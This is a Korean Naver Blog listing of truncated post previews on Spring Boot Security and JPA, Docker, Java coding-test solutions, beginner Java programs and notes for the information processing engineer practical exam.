Spring Boot - Security 회원가입 이전 게시글에 이어서.. 회원가입 처리와 동시에 비밀번호를 암호화시켜서 DB에 저장까지 해볼게요.. 먼... blog.naver.com 이전 게시글에 이어서.. 로그인 처리를 해볼게요.. 먼저. 시큐리티 설정 메서드에서 @Override protected void configure(HttpSecurity http) throws Exception { http.csrf().disable(); http.authorizeRequests() .antMatchers("/user/**") .authenticated() .antMatchers("/manager/**").access("hasRole('ROLE_ADMIN') or hasRole('ROLE_MANAGER')") .antMatchers("/admin/**").access("hasRole('ROLE_ADMIN')") .anyRequest().permitAll() .and() .formLog

Naver Blog

Spring Boot - Security 권한 처리

Spring Boot - Security 로그인 이전 게시글에 이어서.. 로그인 처리를 해볼게요.. 먼저. 시큐리티 설정 메서드에서 .defaultSuccessUrl(... blog.naver.com 이전 게시글에 이어.. 권한 처리를 해보자면.. 회원 데이터를 몇 개 더 넣고.. 각 회원 별로 권한을 test1 = ROLE_USER test2 = ROLE_MANAGER test3 = ROLE_ADMIN 이렇게 부여했습니다. 이 상황이면, 회원 / 디렉터리 /user/ /manager/ /admin/ test1 O X X test2 O O X test3 O O O 이렇게 접근이 가능합니다. 여기서, 스프링 시큐리티 설정 파일에서 @EnableGlobalMethodSecurity(securedEnabled = true, prePostEnabled = true) EnableGlobalMethodSecurity 어노테이션을 통해 securedEnabled, prePostEnabled 두

Naver Blog

세 개의 구분자

문제 해결 능력을 키우기 위해 프로그래머스의 코딩 테스트를 조금씩 풀어보고 있어요.. 하지만.. 와우!! 매일 프로젝트 및 웹 개발에 집중하다 보니.. 정형화된 코드가 익숙해졌고.. 알고리즘 이해, 분석, 작성 능력이 상당히 둔해진 느낌.. 지금부터라도.. 이 뭉쳐있는 머리를 풀어주기 위해서.. 조금씩 조금씩.. ㄱ ㄱ 문제 : 세 개의 구분자 문제 설명 임의의 문자열이 주어졌을 때 문자 "a", "b", "c"를 구분자로 사용해 문자열을 나누고자 합니다. 예를 들어 주어진 문자열이 "baconlettucetomato"라면 나눠진 문자열 목록은 ["onlettu", "etom", "to"] 가 됩니다. 문자열 myStr이 주어졌을 때 위 예시와 같이 "a", "b", "c"를 사용해 나눠진 문자열을 순서대로 저장한 배열을 return 하는 solution 함수를 완성해 주세요. 단, 두 구분자 사이에 다른 문자가 없을 경우에는 아무것도 저장하지 않으며, return할 배열이 빈 배열

Naver Blog

특정 문자열로 끝나는 가장 긴 부분 문자열 찾기

문제 설명 문자열 myString과 pat가 주어집니다. myString의 부분 문자열중 pat로 끝나는 가장 긴 부분 문자열을 찾아서 return 하는 solution 함수를 완성해 주세요. 제한사항 5 ≤ myString ≤ 20 1 ≤ pat ≤ 5 pat은 반드시 myString의 부분 문자열로 주어집니다. myString과 pat에 등장하는 알파벳은 대문자와 소문자를 구분합니다. 입출력 예 "AbCdEFG" "dE" "AbCdE" "AAAAaaaa" "a" "AAAAaaaa" 입출력 예 설명 입출력 예 #1 "AbCdEFG"에서 "dE"는 한 번 등장하며 처음부터 해당 위치까지 잘라내면 "AbCdE"가 됩니다. 따라서 이 문자열이 "dE"로 끝나는 가장 긴 문자열이며, "AbCdE"를 return 합니다. 입출력 예 #2 "AAAAaaaa"에서 "a"는 총 네 번 등장하며 이 중 가장 마지막에 있는 위치까지 잘라내면 "AAAAaaaa"가 됩니다. 따라서 이 문자열이 "a"로

Naver Blog

1로 만들기

문제 설명 정수가 있을 때, 짝수라면 반으로 나누고, 홀수라면 1을 뺀 뒤 반으로 나누면, 마지막엔 1이 됩니다. 예를 들어 10이 있다면 다음과 같은 과정으로 1이 됩니다. 10 / 2 = 5 (5 - 1) / 2 = 4 4 / 2 = 2 2 / 2 = 1 위와 같이 4번의 나누기 연산으로 1이 되었습니다. 정수들이 담긴 리스트 num_list가 주어질 때, num_list의 모든 원소를 1로 만들기 위해서 필요한 나누기 연산의 횟수를 return하도록 solution 함수를 완성해주세요. 제한사항 3 ≤ num_list의 길이 ≤ 15 1 ≤ num_list의 원소 ≤ 30 입출력 예 [12, 4, 15, 1, 14] 11 입출력 예 설명 입출력 예 #1 12는 3번, 4는 2번, 15는 3번, 1은 0번, 14는 3번의 연산이 필요하기 때문에 총 11번의 연산이 필요합니다. 나의 코드.. class Solution { public int solution(int[] num_lis

Naver Blog

조건에 맞게 수열 변환하기 2

문제 설명 정수 배열 arr가 주어집니다. arr의 각 원소에 대해 값이 50보다 크거나 같은 짝수라면 2로 나누고, 50보다 작은 홀수라면 2를 곱하고 다시 1을 더합니다. 이러한 작업을 x번 반복한 결과인 배열을 arr(x)라고 표현했을 때, arr(x) = arr(x + 1)인 x가 항상 존재합니다. 이러한 x 중 가장 작은 값을 return 하는 solution 함수를 완성해 주세요. 단, 두 배열에 대한 "="는 두 배열의 크기가 서로 같으며, 같은 인덱스의 원소가 각각 서로 같음을 의미합니다. 제한사항 1 ≤ arr의 길이 ≤ 1,000,000 1 ≤ arr의 원소의 값 ≤ 100 입출력 예 [1, 2, 3, 100, 99, 98] 5 입출력 예 설명 입출력 예 #1 위 작업을 반복하면 다음과 같이 arr가 변합니다. 0 [1, 2, 3, 100, 99, 98] 1 [3, 2, 7, 50, 99, 49] 2 [7, 2, 15, 25, 99, 99] 3 [15, 2, 31,

Naver Blog

[JAVA] 백준 1654 - 랜선 자르기

문제 집에서 시간을 보내던 오영식은 박성원의 부름을 받고 급히 달려왔다. 박성원이 캠프 때 쓸 N개의 랜선을 만들어야 하는데 너무 바빠서 영식이에게 도움을 청했다. 이미 오영식은 자체적으로 K개의 랜선을 가지고 있다. 그러나 K개의 랜선은 길이가 제각각이다. 박성원은 랜선을 모두 N개의 같은 길이의 랜선으로 만들고 싶었기 때문에 K개의 랜선을 잘라서 만들어야 한다. 예를 들어 300cm 짜리 랜선에서 140cm 짜리 랜선을 두 개 잘라내면 20cm는 버려야 한다. (이미 자른 랜선은 붙일 수 없다.) 편의를 위해 랜선을 자르거나 만들 때 손실되는 길이는 없다고 가정하며, 기존의 K개의 랜선으로 N개의 랜선을 만들 수 없는 경우는 없다고 가정하자. 그리고 자를 때는 항상 센티미터 단위로 정수길이만큼 자른다고 가정하자. N개보다 많이 만드는 것도 N개를 만드는 것에 포함된다. 이때 만들 수 있는 최대 랜선의 길이를 구하는 프로그램을 작성하시오. 입력 첫째 줄에는 오영식이 이미 가지고 있

Naver Blog

[JAVA] 백준 2805 - 나무 자르기

문제 상근이는 나무 M미터가 필요하다. 근처에 나무를 구입할 곳이 모두 망해버렸기 때문에, 정부에 벌목 허가를 요청했다. 정부는 상근이네 집 근처의 나무 한 줄에 대한 벌목 허가를 내주었고, 상근이는 새로 구입한 목재절단기를 이용해서 나무를 구할것이다. 목재절단기는 다음과 같이 동작한다. 먼저, 상근이는 절단기에 높이 H를 지정해야 한다. 높이를 지정하면 톱날이 땅으로부터 H미터 위로 올라간다. 그 다음, 한 줄에 연속해있는 나무를 모두 절단해버린다. 따라서, 높이가 H보다 큰 나무는 H 위의 부분이 잘릴 것이고, 낮은 나무는 잘리지 않을 것이다. 예를 들어, 한 줄에 연속해있는 나무의 높이가 20, 15, 10, 17이라고 하자. 상근이가 높이를 15로 지정했다면, 나무를 자른 뒤의 높이는 15, 15, 10, 15가 될 것이고, 상근이는 길이가 5인 나무와 2인 나무를 들고 집에 갈 것이다. (총 7미터를 집에 들고 간다) 절단기에 설정할 수 있는 높이는 양의 정수 또는 0이다.

Naver Blog

[JAVA] 이진 트리 순회(DFS)

재귀 호출에 대해 공부하던 도중에.. 아주아주 중요한 개념인 것 같아서 따로 포스팅 실시!! 우선.. 이러한 이진 트리가 있을 때 전위, 중위, 후위 각각 순회 방식을 통해 출력하고자 한다..!! 전위의 경우 - 1 2 4 5 3 6 7 중위의 경우 - 4 2 5 1 6 3 7 후위의 경우 - 4 5 2 6 7 3 1 순으로 출력이 된다.. 쉬운 것 같으면서도.. 처음에 어떻게 접근해야 될지 몰랐다 ㅜㅁㅜ 문제 해결을 위해 먼저, 노드들의 가지들을 정의했다..!! 1의 lt는 2, rt는 3 2의 lt는 4, rt는 5 3의 lt는 6, rt는 7 4, 5, 6, 7의 lt, rt는 null 해당 노드를 가리키는 Node 클래스는 class Node { int val; Node lt; Node rt; public Node(int val) { this.val = val; } } 다음과 같이 정의했다..!! 그리고 그림과 같이 노드들을 연결시켜주기 위해서 public static voi

Naver Blog

MicroService 무중단배포 - 블루그린배포

현재 도커에는 총 6개의 Micro Service가 있습니다.. 각 서비스는.. mariadb : 데이터 저장 config-server : 설정 집중 관리 eureka-server : 모니터링 gateway-server : 프록시처리(로드밸런싱 등) authentication-server : JWT 발급 및 인증 item-service-server : 아이템 데이터 저장 클라이언트의 요청이 들어왔을 때 1차원적으로 보면 gateway - authentication - item-service 순으로 처리가 됩니다. 하지만 여기서 item-service에 기능을 추가하고 싶을 때가 있습니다. 버전업을 하는 거죠.. 예를 들어서.. 아이템 데이터를 저장하는 기능을 담당하는 item-service에 아이템 조회 기능을 추가하고자 합니다. 이런 경우에 서버를 내리고 기능을 추가하고 다시 서버를 올리기보다는.. 현행 시스템 = v1 추가 후 시스템 = v2 로 예를 들어서.. v1을 운영하면서

Naver Blog

[JAVA] 백준 1541 - 잃어버린 괄호

문제 세준이는 양수와 +, -, 그리고 괄호를 가지고 식을 만들었다. 그리고 나서 세준이는 괄호를 모두 지웠다. 그리고 나서 세준이는 괄호를 적절히 쳐서 이 식의 값을 최소로 만들려고 한다. 괄호를 적절히 쳐서 이 식의 값을 최소로 만드는 프로그램을 작성하시오. 입력 첫째 줄에 식이 주어진다. 식은 ‘0’~‘9’, ‘+’, 그리고 ‘-’만으로 이루어져 있고, 가장 처음과 마지막 문자는 숫자이다. 그리고 연속해서 두 개 이상의 연산자가 나타나지 않고, 5자리보다 많이 연속되는 숫자는 없다. 수는 0으로 시작할 수 있다. 입력으로 주어지는 식의 길이는 50보다 작거나 같다. 출력 첫째 줄에 정답을 출력한다. 예제 입력 1 55-50+40 예제 출력 1 -35 예제 입력 2 10+20+30+40 예제 출력 2 100 예제 입력 3 00009-00009 예제 출력 3 0 처음에 보고 뭐지 쉬워 보이는데..? 싶었는데 생각보다 난이도가 있다고 느꼈음.. 55-50+40를 그대로 계산하면 45

Naver Blog

[JAVA] 백준 17413 - 단어 뒤집기2

문제 문자열 S가 주어졌을 때, 이 문자열에서 단어만 뒤집으려고 한다. 먼저, 문자열 S는 아래와과 같은 규칙을 지킨다. 알파벳 소문자('a'-'z'), 숫자('0'-'9'), 공백(' '), 특수 문자('<', '>')로만 이루어져 있다. 문자열의 시작과 끝은 공백이 아니다. '<'와 '>'가 문자열에 있는 경우 번갈아가면서 등장하며, '<'이 먼저 등장한다. 또, 두 문자의 개수는 같다. 태그는 '<'로 시작해서 '>'로 끝나는 길이가 3 이상인 부분 문자열이고, '<'와 '>' 사이에는 알파벳 소문자와 공백만 있다. 단어는 알파벳 소문자와 숫자로 이루어진 부분 문자열이고, 연속하는 두 단어는 공백 하나로 구분한다. 태그는 단어가 아니며, 태그와 단어 사이에는 공백이 없다. 입력 첫째 줄에 문자열 S가 주어진다. S의 길이는 100,000 이하이다. 출력 첫째 줄에 문자열 S의 단어를 뒤집어서 출력한다. 예제 입력 1 baekjoon online judge 예제 출력 1 nooj

Naver Blog

[JAVA] 백준 20920 - 영단어 암기는 괴로워

문제 화은이는 이번 영어 시험에서 틀린 문제를 바탕으로 영어 단어 암기를 하려고 한다. 그 과정에서 효율적으로 영어 단어를 외우기 위해 영어 단어장을 만들려 하고 있다. 화은이가 만들고자 하는 단어장의 단어 순서는 다음과 같은 우선순위를 차례로 적용하여 만들어진다. 자주 나오는 단어일수록 앞에 배치한다. 해당 단어의 길이가 길수록 앞에 배치한다. 알파벳 사전 순으로 앞에 있는 단어일수록 앞에 배치한다   M보다 짧은 길이의 단어의 경우 읽는 것만으로도 외울 수 있기 때문에 길이가 M이상인 단어들만 외운다고 한다. 화은이가 괴로운 영단어 암기를 효율적으로 할 수 있도록 단어장을 만들어 주자. 입력 첫째 줄에는 영어 지문에 나오는 단어의 개수 N과 외울 단어의 길이 기준이 되는 M이 공백으로 구분되어 주어진다. 둘째 줄부터 N+1번째 줄까지 외울 단어를 입력받는다. 이때의 입력은 알파벳 소문자로만 주어지며 단어의 길이는 10을 넘지 않는다. 단어장에 단어가 반드시 1개 이상 존재하는 입

Naver Blog

Spring Boot - JPA를 사용한 CRUD 게시판 만들기

JPA와 MyBatis 두 개를 놓고 보면, 외국에선 MyBatis에 비해 JPA가 압도적으로 사용량이 많습니다. 한국은 반대지만, 그 추세가 바뀌고 있다고 하더라고요.. 그래서 왜 같은 DB 접속 기술인데 JPA를 사용하는지 궁금했어요.. JPA와 더 친해지고 싶어서.. 게시판을 하나 만들어봤어요.. 만들다 보니 조금은 알겠더라고요 쿼리문을 직접 안 써도 된다는 장점이 얼마나 큰지..!! 서론이 길었네요.. 먼저 결과부터 보자면.. Create>> Read(Delete)>> Update>> 요구사항으론 Create, Read, Update, Delete 기능이 있는 게시판입니다.. 예상되는 로직은.. 요청 -> Controller -> Service -> Dao -> Service -> Controller -> Model(View) 이때까지는 H2 DB로 진행했지만, 이번 프로젝트는 MariaDB를 사용했습니다.. 먼저 DB부터 설계해 줍니다.. DDL>> CREATE TABLE

Naver Blog

Spring Boot - 스프링 데이터 JPA

스프링 부트와 JPA라는 기반 위에, 스프링 데이터 JPA를 사용하면 리포지토리에 구현 클래스 없이 인터페이스 만으로 개발을 완료할 수 있습니다. 따라서 개발자는 핵심 비즈니스 로직을 개발하는데, 집중할 수 있습니다. 이전의 JPA 설정을 그대로 사용하고.. SpringDataJpaMemberRepository>> package hello.hellospring.repository; import hello.hellospring.domain.Member; import org.springframework.data.jpa.repository.JpaRepository; import java.util.Optional; public interface SpringDataJpaMemberRepository extends JpaRepository<Member, Long>, MemberRepository { @Override Optional<Member> findByName(String name); @

Naver Blog

Spring Boot - AOP

AOP : Aspect Oriented Programming 공통 관심 사항(cross-cutting concern) VS 핵심 관심 사항(core concern) 분리 한 가지의 상황을 예를 들어보자면.. 이 전에 만든 회원 관리 프로젝트에서 모든 메서드의 호출 시간을 측정하고 싶다고 할 때.. 또는 회원 가입 시간, 회원 조회 시간을 측정하고 싶다고 할 때.. 스프링 컨테이너의 메서드에 전부 시간 측정 로직을 구현해 줘야 됩니다.. 기존 MemberService 메서드 여기서 회원가입(join) 메서드와 회원 조회(findMembers) 메서드의 기능 시간을 측정하는 코드로 수정해 줍니다.. 조회할 때 시간이 콘솔로 찍히는 걸 확인할 수 있습니다.. (오른쪽은 웹브라우저 짤린거입니다 ㅋㅁㅋ) 자 다시 돌아와서 여기서 문제는.. - 회원가입, 회원 조회에 시간을 측정하는 기능은 핵심 관심 사항이 아니다. - 시간을 측정하는 로직은 공통 관심사항이다. - 시간을 측정하는 로직과 핵심

Naver Blog

macOS에서 Ubuntu(가상)으로 Docker 사용하기

도커에서 컨테이너 = 다른 프로그램과 분리된 환경에서 실행 컨테이너 이미지 = 컨테이너 실행을 위해 미리 준비해야 됨 허브 = 컨테이너 이미지가 저장된 창고 macOS의 VMware로 Ubuntu 환경에서 Docker를 사용해 볼게요.. 우선 우분투 설치 파일을 다운로드합니다.. Download Ubuntu Desktop | Download | Ubuntu Ubuntu is an open source software operating system that runs from the desktop, to the cloud, to all your internet connected things. ubuntu.com 설치는 매뉴얼대로 해주시면 되는데.. 우분투 설치 후에 도커 홈페이지의 설치 매뉴얼을 참고하여 도커를 설치해 줍니다.. Docker: Accelerated Container Application Development Docker is a platform designed to he

Naver Blog

Docker로 Ubuntu 기반 apache 서버 열기

macOS에서 Ubuntu(가상)으로 Docker 사용하기 도커에서 컨테이너 = 다른 프로그램과 분리된 환경에서 실행 컨테이너 이미지 = 컨테이너 실행... blog.naver.com 이전 게시글에 이어서.. Docker를 이용해 apache 서버를 열어볼게요.. FROM ubuntu:18.04 LABEL maintainer="blog.naver.com/ma5ter" # install apache RUN apt-get update \ && apt-get install -y apache2 RUN echo "TEST WEB" > /var/www/html/index.html EXPOSE 80 CMD ["/usr/sbin/apache2ctl", "-DFOREGROUND"] ubuntu 18.04 버전을 도커 이미지로 내려받고 apt를 업데이트해준 뒤 apache 패키지를 내려받습니다.. 후에 apache index 페이지를 생성해 주고 80포트로 사용해 준 뒤 서비스를 실행시켜줍니다.. d

Naver Blog

Docker로 node.js 컨테이너 사용하기

macOS에서 Ubuntu(가상)으로 Docker 사용하기 도커에서 컨테이너 = 다른 프로그램과 분리된 환경에서 실행 컨테이너 이미지 = 컨테이너 실행... blog.naver.com 이전 게시글에 이어서.. Docker를 이용해 node.js 컨테이너를 만들어서 사용해 볼게요.. 먼저 테스트할 js를 만듭니다.. hello.js >> const http = require('http'); const os = require('os'); console.log("Test server starting..."); var handler = function(request, response){ console.log("Received request from " + request.connection.remoteAddress); response.writeHead(200); response.end("Container Hostname : " + os.hostname + "\n"); }; var www =

Naver Blog

Docker 컨테이너 배포하기

먼저, docker hub 로그인을 해줍니다. docker login 저는 이전 게시글을 작성하면서 사용했던 요 두 놈을 배포해 볼게요.. docker tag webserver:v1 hoowave/webserver:v1 docker tag hellojs:latest hoowave/hellojs 배포하기 위해서 각각 두 개의 이름을 도커허브아이디/이름 형식으로 변경해 줍니다. docker push hoowave/webserver:v1 docker push hoowave/hellojs 변경한 뒤, 각각 push를 하게 되면.. 컨테이너 이미지가 도커허브 계정에 업로드됩니다. 도커허브에 접속하여 계정에 로그인한 뒤, 직접 확인할 수 있습니다.

Naver Blog

Spring Boot - Security 필터 체인 등록

해당 프로젝트는 로그인, 회원가입에 따라 회원별 권한을 부여합니다.. 비회원, 유저, 매니저, 어드민 총 4개의 계층으로 나누어져 있습니다.. 현재까지의 구조는 다음과 같습니다.. dependencies { implementation 'org.springframework.boot:spring-boot-starter-data-jpa' implementation 'org.springframework.boot:spring-boot-starter-security' implementation 'org.springframework.boot:spring-boot-starter-thymeleaf' implementation 'org.springframework.boot:spring-boot-starter-web' implementation 'org.thymeleaf.extras:thymeleaf-extras-springsecurity5' compileOnly 'org.projectlombok:lo

Naver Blog

Spring Boot - Security 회원가입

Spring Boot - Security 필터 체인 등록 해당 프로젝트는 로그인, 회원가입에 따라 회원별 권한을 부여합니다.. 비회원, 유저, 매니저, 어드민 총 4... blog.naver.com 이전 게시글에 이어서.. 회원가입 처리와 동시에 비밀번호를 암호화시켜서 DB에 저장까지 해볼게요.. 먼저, 로그인 페이지와 회원가입 페이지를 만들어줬습니다.. <!DOCTYPE html> <html xmlns:th="http://www.thymeleaf.org"> <head> <meta charset="UTF-8"> <title>로그인 페이지</title> </head> <body> <h1>로그인 페이지</h1> <hr> <form action="/login" method="post"> <p> ID : <input type="text" name="username"> </p> <p> PW : <input type="password" name="password"> </p> <p> <input

Naver Blog

Spring Boot - JPA

JPA는 기존의 반복 코드는 물론이고, 기본적인 SQL도 JPA가 직접 만들어서 실행해 줍니다.. SQL과 데이터 중심의 설계에서 객체 중심의 설계로 패러다임을 전환할 수 있습니다.. 또한 개발 생산성을 크게 향상시킵니다.. 바로 JPA를 사용해 보죠 ㄱㄱ 먼저 bungle.gradle 파일에 JPA와 DB 관련 라이브러리를 추가합니다. implementation 'org.springframework.boot:spring-boot-starter-data-jpa' 저는 기존에 쓰던 JDBC 라이브러리를 주석 처리하고 H2 데이터베이스를 사용했습니다. 추가하고 꼭 Gradle을 새로고침 해주셔야 됩니다.. application.properties에선 JPA 설정을 추가해 줍니다. spring.jpa.show-sql=true spring.jpa.hibernate.ddl-auto=none show-sql : JPA가 생성하는 SQL을 출력합니다. ddl-auto : JPA는 테이블을 자동으

Naver Blog

좌석 예약 프로그램

자바로 만든 간단한 좌석 예약 프로그램입니다. 좌석표는 총 10개 번호를 입력받아서 예약가능은 0, 이미 예약된 좌석은 1로 표현했습니다. package Test; import java.util.Scanner; public class ReservationTest { public static void main(String[] args) { int[] seats = new int[10]; Scanner sc = new Scanner(System.in); while (true) { int cnt = 0; System.out.println("===================================좌석표==================================="); for (int i = 0; i < seats.length; i++) { System.out.print(seats[i] + "\t"); if (seats[i] == 1) { cnt++; } } System.out.pr

Naver Blog

업다운 게임

자바로 만든 간단한 업다운 게임입니다. 프로그램을 시작하면 1~100사이 난수를 가져와서 사용자가 맞추는 게임입니다. package Test; import java.util.Random; import java.util.Scanner; public class UpDownTest { public static void main(String[] args) { Random random = new Random(); Scanner sc = new Scanner(System.in); int num = random.nextInt(100); int cnt = 0; while (true) { System.out.print("숫자를 입력해주세요 : "); int temp = sc.nextInt(); cnt++; if (temp == num) { System.out.println("정답입니다!" + cnt + "회 시도했습니다."); break; } else if (temp > num) { System.o

Naver Blog

학생관리프로그램

프로그램 시작 및 입력부 출력부 Total.class package classex2; public class Total { private int[] sno; private String[] name; private int[] score1; private int[] score2; private int[] total; private double[] avg; private int cnt; Total(int num) { sno = new int[num]; name = new String[num]; score1 = new int[num]; score2 = new int[num]; total = new int[num]; avg = new double[num]; cnt = 0; } public void printTotal() { System.out.print("\n학생번호\t"); for (int i = 0; i < cnt; i++) { System.out.print(sno[i] + "\t");

Naver Blog

CRUD 도서관리프로그램

메서드와 접근제한자랑 친해지기 위해.. 여러 가지 방법으로 프로그램을 만들어보고 있다. 메인 영역에선 최대한 기능을 끌어다 써보자(코드 수를 줄여보자) 하는 생각에 최대한 기능을 메서드를 통해 사용해 보았다. 처음에 제목 1, 제목 2, 제목 3의 경우 많은 테스트를 위한 임의의 값을 생성자로 만들어준 것이다. 특정 책 번호의 값도 조회할 수 있다. 수정 또한 잘 된다. 삭제 역시 잘 된다. BookTest.java package classex4; public class BookTest { public static void main(String[] args) { System.out.println("책 관리 프로그램 v1.0"); System.out.println("수정 및 삭제는 책 번호를 통해 실행됩니다.\n"); Book book = new Book(); boolean loop = true; while (loop) { book.menuPrint(); switch (book.set

Naver Blog

클래스와 친해지기 위한 계산기 프로그램

클래스와 상속이랑 친해지기 위해 계산기 프로그램을 만들었다. Account.java - VO package classex9; public class Account { private String id = "test"; private String pw = "123s"; public String getId() { return this.id; } public String getPw() { return this.pw; } } 로그인용 ID, PW.. User.java - VO package classex9; public class User extends Account { private String name = "장뽕뽕"; private int age = 26; public String getName() { return this.name; } public int getAge() { return this.age; } } 계정 값을 상속받아 만든 이름과 나이.. Service.java - Serv

Naver Blog

외부 라이브러리 사용하기

접근 제한자를 사용할 때 getter, setter, toString 등 반복적으로 작성하는 코드들을 자동으로 세팅해 주는 라이브러리 Lombok을 사용해 볼게요.. Lombok은 어노테이션 기반으로 코드를 자동완성해 주는 라이브러리입니다.. Project Lombok Get Lombok for Enterprise Project Lombok Project Lombok is a java library that automatically plugs into your editor and build tools, spicing up your java. Never write another getter or equals method again, with one annotation your class has a fully featured builder, Automate your logging variables, ... projectlombok.org jar 파일을 다운로드한 뒤 Eclipse 프로젝

Naver Blog

JDBC - MariaDB 접속하기

JDBC 드라이버로 MariaDB에 접속을 해볼게요. 드라이버는 https://mvnrepository.com/ 에서 다운로드하실 수 있습니다. DBcon.java import java.sql.Connection; import java.sql.DriverManager; public class DBcon { final static String driverName = "org.mariadb.jdbc.Driver"; final static String url = "jdbc:mariadb://localhost:3306/DBname"; final static String uid = "ID"; final static String upw = "PW"; public static Connection getConnect() throws Exception { Class.forName(driverName); Connection conn = DriverManager.getConnection(url, uid

Naver Blog

[정처기] 정보처리기사 실기 1. 요구사항 분석 암기용

암기 용이라 설명이 부실할 수도 있습니다. UML 관계 - 연집포일의실 연관관계 2개 이상 사물 집합 관계 하나의 사물이 다른 사물에 포함되어 있는 관계 포함관계 포함하는 사물의 변화가 포함하는 사물에게 영향을 미치는 관계 일반화 관계 하나의 사물이 다른 사물에 비해 더 일반적이거나 구체적인 관계 의존관계 서로에게 영향을 주는 짧은 시간 동안만 연관을 유지하는 관계 실체화 관계할 수 있거나 해야 하는 기능으로, 서로를 그룹화 할 수 있는 관계 구조적 다이어그램 - 클객컴배복패 클래스 클래스와 클래스가 가지는 속성, 클래스 사이의 관계를 표현함. 객체 클래스에 속한 사물(객체)들, 즉 인스턴스를 특정 시점의 객체와 객체 사이의 관계로 표현함. 컴포넌트 실제 구현 모듈인 컴포넌트 간의 관계나 컴포넌트 간의 인터페이스를 표현함. 배치 결과물, 프로세스, 컴포넌트 등 물리적 요소들의 위치를 표현함. 복합체 구조 복합 구조를 갖는 경우 그 내부 구조를 표현함. 패키지 패키지 관계를 표현 행위

Naver Blog

[정처기] 정보처리기사 실기 2. 데이터 입출력 구현 암기용

암기 용이라 설명이 부실할 수도 있습니다. 데이터베이스 정의 - 통저운공 통합된 데이터 : 자료의 중복을 배제한 데이터의 모임 저장된 데이터 : 컴퓨터가 접근할 수 있는 저장 매체에 저장된 자료 운영 데이터 : 조직의 고유한 업무를 수행하는 데 반드시 필요한 자료 공용 데이터 : 여러 응용 시스템들이 공동으로 소유하고 유지하는 자료 스키마 - 내외개 내부 스키마 : 물리적 저장 장치의 입장에서 본 데이터베이스 구조 외부 스키마 : 사용자나 응용 프로그래머가 각 개인의 입장에서 필요로 하는 데이터베이스의 논리적 구조를 정의한 것 개념 스키마 : 데이터베이스의 전체적인 논리적 구조 데이터베이스 설계 시 고려 사항 - 무일회보효확 무결성 : 삽입, 삭제, 갱신 등의 연산 후에도 데이터베이스에 저장된 데이터가 정해진 제약 조건을 항상 만족해야 함 일관성 : 데이터베이스에 저장된 데이터들 사이나, 특정 질의에 대한 응답이 처음부터 끝까지 변함없이 일정해야 함. 회복 : 시스템에 장애가 발생했

Naver Blog

[정처기] 정보처리기사 실기 3. 통합 구현 암기용

암기 용이라 설명이 부실할 수도 있습니다. 통합 구현 : 송, 수신 모듈과 중계 모듈 간의 연계를 구현하는 것 XML : 특수한 목적을 갖는 마크업 언어를 만드는 데 사용되는 다목적 마크업 언어 SGML : 텍스트, 이미지, 오디오 및 비디오 등을 포함하는 멀티미디어 전자 문서들을 다른 기종의 시스템들과 정보의 손실 없이 효율적으로 전송, 저장 및 자동으로 처리하기 위한 언어 SOAP : 네트워크 상에서 HTTP/HTTPS, SMTP 등을 이용하여 XML을 교환하기 위한 통신 규약 WSDL : 웹 서비스와 관련된 서식이나 프로토콜 등을 표준적인 방법으로 기술하고 게시하기 위한 언어 UDDI : 인터넷에서 전 세계의 비즈니스 업체 목록에 자신의 정보를 등록하기 위한 확장성 생성 언어(XML) 기반의 규격

Naver Blog

[정처기] 정보처리기사 실기 4. 서버 프로그램 구현 암기용

암기 용이라 설명이 부실할 수도 있습니다. 웹 서버(Web Server) : 클라이언트로부터 직접 요청을 받아 처리함. 웹 애플리케이션 서버(WAS, Web Application Server) : 웹 서버와 데이터베이스 서버 또는 웹 서버와 파일 서버 사이에서 인터페이스 역할을 수행함. 데이터베이스 서버(DB server) : 데이터베이스와 이를 관리하는 DBMS를 운영함. 파일 서버(File server) : 데이터베이스에 저장하기에는 비효율적이거나, 서비스 제공을 목적으로 유지하는 파일들을 저장함. 소프트웨어 아키텍처 : 소프트웨어를 구성하는 요소들 간의 관계를 표현하는 시스템의 구조 또는 구조체 모듈화 : 시스템의 기능들을 모듈 단위로 나누는 것 추상화 : 전체적이고 포괄적인 개념을 설계한 후, 구체화시켜 나가는 것 단계적 분해 : 상위의 중요 개념으로부터 하위의 개념으로 구체화시키는 분할 기법 정보 은닉 : 모듈 내부에 포함된 절차와 자료들의 정보가 감추어져 다른 모듈이 접근

Naver Blog

[정처기] 정보처리기사 실기 5. 인터페이스 구현 암기용

암기 용이라 설명이 부실할 수도 있습니다. 요구사항 검토 : 요구사항 명세서의 오류 확인 및 표준 준수 여부 등의 결함 여부를 검토 담당자들이 수작업으로 분석하는 방법 동료 검토(Peer Review) : 요구사항 명세서 작성자가 명세서 내용을 직접 설명하고 동료들이 이를 들으면서 결함을 발견하는 형태의 검토 방법 워크 스루(Work Through) : 검토 회의 전에 요구사항 명세서를 미리 배포하여 사전 검토한 후에 짧은 검토 회의를 통해 결함을 발견하는 형태의 검토 방법 인스펙션(Inspection) : 요구사항 명세서 작성자를 제외한 다른 검토 전문가들이 요구사항 명세서를 확인하면서 결함을 발견하는 형태의 검토 방법 시스템 연계 기술 DB Link : DB에서 제공하는 DB Link 객체를 이용하는 방식 API / Open API : 송신 시스템의 데이터베이스(DB)에서 데이터를 읽어와 제공하는 애플리케이션 프로그래밍 인터페이스 프로그램 연계 솔루션 : EAI 서버와 송수신 시

Naver Blog

[정처기] 정보처리기사 실기 6. 화면 설계 암기용

암기 용이라 설명이 부실할 수도 있습니다. 사용자 인터페이스(UI, User Interface) : 사용자와 시스템 간의 상호작용이 원활하게 이루어지도록 도와주는 장치나 소프트웨어 사용자 인터페이스의 구분 CLI(Command Line Interface) : 명령과 출력이 텍스트 형태로 이뤄지는 인터페이스 GUI(Graphical User Interface) : 아이콘이나 메뉴를 마우스로 선택하여 작업을 수행하는 그래픽 환경의 인터페이스 NUI(Natural User Interface) : 사용자의 말이나 행동으로 기기를 조작하는 인터페이스 사용자 인터페이스의 기본 원칙 : 직유학유 직관성 : 누구나 쉽게 이해하고 사용할 수 있어야 함 유효성 : 사용자의 목적을 정확하고 완벽하게 달성해야 함 학습성 : 누구나 쉽게 배우고 익힐 수 있어야 함 유연성 : 사용자의 요구사항을 최대한 수용하고 실수를 최소화해야 함 UI 표준 : 전체 시스템에 포함된 모든 UI에 공통적으로 적용될 내용으로,

Naver Blog

[정처기] 정보처리기사 실기 7. 애플리케이션 테스트 관리 암기용

